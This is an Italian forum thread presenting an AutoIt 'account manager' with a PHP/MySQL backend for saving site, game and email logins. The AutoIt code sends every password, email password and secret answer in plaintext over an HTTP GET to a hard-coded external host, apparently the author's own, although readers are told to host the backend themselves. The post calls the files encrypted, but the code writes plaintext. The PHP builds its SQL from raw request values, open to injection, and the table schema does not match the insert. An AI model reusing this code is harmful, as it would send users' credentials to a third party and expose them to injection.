[SOURCE] Account Manager [AU3 + PHP + MYSQL ]

« Older   Newer »
  Share  
schabbo
CAT_IMG Posted on 2/7/2012, 23:19     +1   -1




Salve ;D Sono qui per presentarvi :
Account Manager v 0.4 + Online DB ! Pepeprepè

Allor senza perderci in parole e in discorsi troppo lunghi :
Questo Programmino che vi andrò a presentare esegue i seguenti compiti :

- Salva i Dati di Accesso di vari Siti / Giochi in file . amd
- Salva i Dati di Accesso di Vari Siti / Giochi su di un DataBase Mysql tramite PHP
- Cripta i file di accesso per renderli illeggibili ( coming soon )

Potrebbe essere un programma inutile come starete pensando
ma non è così
Difatti , molte volte pensiamo a indirizzi email o account che abbiamo
scordato e di conseguenza ci tocca ricorrere al calendario e al nostro amato
Antonio di Padova
Con questo programma salvate i dati in file criptati e
eventualmente in Database online , in caso di formattazioni improvvise
a causa di guasti e altro .
Poi è un programma per esercitarmi un po' col PHP e il MySql >.<
Di conseguenza , dopo un giorno di bestemmioni verso vari santi
e colpi di genio u.u il risultato è questo codice pietoso e aladim :

[AutoIT] Account Manager :



#include <buttonconstants.au3>
#include <editconstants.au3>
#include <guiconstantsex.au3>
#include <staticconstants.au3>
#include <windowsconstants.au3>
#include <inet.au3>
#include <string.au3>

$acco = GUICreate("Account Manager by Schabbo [ AU3 PHP MySql ]", 661, 468, 192, 124)
GUISetBkColor(0x000000)
$name = GUICtrlCreateInput("Site/Game Name", 16, 24, 121, 21)
$user = GUICtrlCreateInput("Username", 144, 24, 121, 21)
$passu = GUICtrlCreateInput("Password", 272, 24, 121, 21)
$mail = GUICtrlCreateInput("Mail Address", 400, 24, 121, 21)
$passm = GUICtrlCreateInput("Mail Password", 528, 24, 121, 21)
$web = GUICtrlCreateInput("WebSita URL", 16, 56, 121, 21)
$data = GUICtrlCreateInput("Secret Question", 144, 56, 121, 21)
$add = GUICtrlCreateButton("Add New", 272, 56, 121, 21)
$luogo = GUICtrlCreateInput("Secret Answer", 400, 56, 121, 21)
$search = GUICtrlCreateInput("Seach Number", 528, 56, 121, 21, BitOR($GUI_SS_DEFAULT_INPUT,$ES_NUMBER))
$_List = GUICtrlCreateEdit("", 16, 88, 633, 337, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_WANTRETURN,$WS_VSCROLL))
$_view = GUICtrlCreateButton("Refresh List" , 15 , 435 , 201 )
GUISetState(@SW_SHOW)
$_Filecriptato = (@ScriptDir & "\list.amd")


While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Add
Add()
View()
Case $_view
View()
EndSwitch
WEnd
Func Add()

$_name= GuiCtrlRead($name)
$_user= GuiCtrlRead($user)
$_passu=GuiCtrlRead($passu)
$_mail=GuiCtrlRead($mail)
$_passm=GuiCtrlRead($passm)
$_search=GuiCtrlRead($search)
$_web=GuiCtrlRead($web)
$_luogo=GuiCtrlRead($luogo)
$_bdate=GUICtrlRead($data)
$_Data=FileExists($_Filecriptato)
If $_Data=(1) Then
_INetGetSource("http://accountdatam.altervista.org/login.php?sitename="& $_name &"&username="& $_user &"&passu="& $_passu &"&mail="& $_mail &"&mailpass="& $_passm &"&website="& $_web &"&question="& $_luogo &"&answer="& $_bdate)
$_cript = ("/-----------------------NEW ACCOUNT-----------------------\" & @CRLF & "Site / Game Name : " & $_name & @CRLF & "Username : " & $_user & @CRLF & "Password : " & $_Passu & @CRLF & "Mail : " & $_mail & @CRLF & "Mail Password : " & $_passm & @CRLF & "Site Address : " & $_web & @CRLF & "Birthplace : " & $_luogo & @CRLF & "Data : " & $_bdate & @CRLF & "Search : " & $_search & @CRLF & "\----------------------------------------------------------------------/" & @CRLF)
msgbox(1, "Dati" , $_cript)
$_cri = $_cript
FileWrite($_Filecriptato, $_cri)
Else
fileOpen($_Filecriptato)
EndIf
EndFunc
Func View()
$_Data=FileExists($_Filecriptato)
If $_Data =(1) then
$_txt=FileRead($_Filecriptato)
GuiCtrlSetData($_List,$_txt)
Else
MsgBox(1,"Error","The File "& $_Filecriptato &" don't Exist , close this window to create it .")
FileOpen($_Filecriptato, 1)
EndIf
EndFunc







Questo è il codice del programma in se è per s'è , potete modificarlo come volete ma ricordate di lasciare i diritti nel titolo , e di inserirmi nei crediti .



[ PHP ] Login.php

Questo codice bisogna salvarlo in formato .php anche usando un semplice editor , e poi caricarlo sul proprio host o anche come su altervista inserire il codice da un gestore di file online .



<?php
$dbHost = "localhost";
$User = "*****"; //Tuo Username per accedere al database
$Pass = "*****"; // tua password per accedere al database
$db = "*****"; //nome del database
$con = mysql_connect($dbHost,$User,$Pass );
mysql_selectdb($db,$con);
mysql_query("INSERT INTO user (sitename ,username ,passu ,mail ,mailpass ,website ,question ,answer) VALUES ('".$_GET["sitename"]."', '".$_GET["username"]."', '".$_GET["passu"]."', '".$_GET["mail"]."', '".$_GET["mailpass"]."', '".$_GET["website"]."', '".$_GET["question"]."', '".$_GET["answer"]."')", $con);
?>


[ MySql ] User Query :

Questa Query bisogna eseguirla via PHPMyAdmin o Navicat o qualsiasi software/servizio usiate , dopo aver selezionato il database .


CREATE TABLE user(
id int(6) NOT NULL auto_increment,
sitename varchar(25) NOT NULL,
username varchar(25) NOT NULL,
passu int(25) NOT NULL,
mail varchar(25) NOT NULL,
mailpass varchar(25) NOT NULL,
website varchar(25) NOT NULL,
answer varchar(25) NOT NULL,
reply varchar(25) NOT NULL,
PRIMARY KEY (id))



Se non riuscite a capire bene il codice :
[ AU3 ] - Account Manager
[ PHP ] - Account Manager
[ MySql ] - Account Manager

Non rimuovete i diritti e inseritemi nei crediti , ricordate , dietro ogni vostro lavoro c'è qualcuno che l'ha fatto per renderlo possibile , in questo caso me u.u anche se lo reputiate un programma di cacca .
Grazie per il Tempo Concessomi

Giusto per sono io If di Inforge , potete chiedermelo su inforge se non ci credete u.u

Edited by schabbo - 3/7/2012, 15:57
 
Top
antospaty
CAT_IMG Posted on 3/7/2012, 13:03     +1   -1




bello mi piace
 
Top
schabbo
CAT_IMG Posted on 3/7/2012, 13:32     +1   -1




Grazie ;D
 
Top
»Master
CAT_IMG Posted on 3/7/2012, 17:56     +1   -1




bravo, sembra ben fatto :)
 
Top
schabbo
CAT_IMG Posted on 4/7/2012, 14:02     +1   -1




Grazie , non è proprio il massimo però è già qualcosa :D
 
Top
4 replies since 2/7/2012, 23:19   161 views
  Share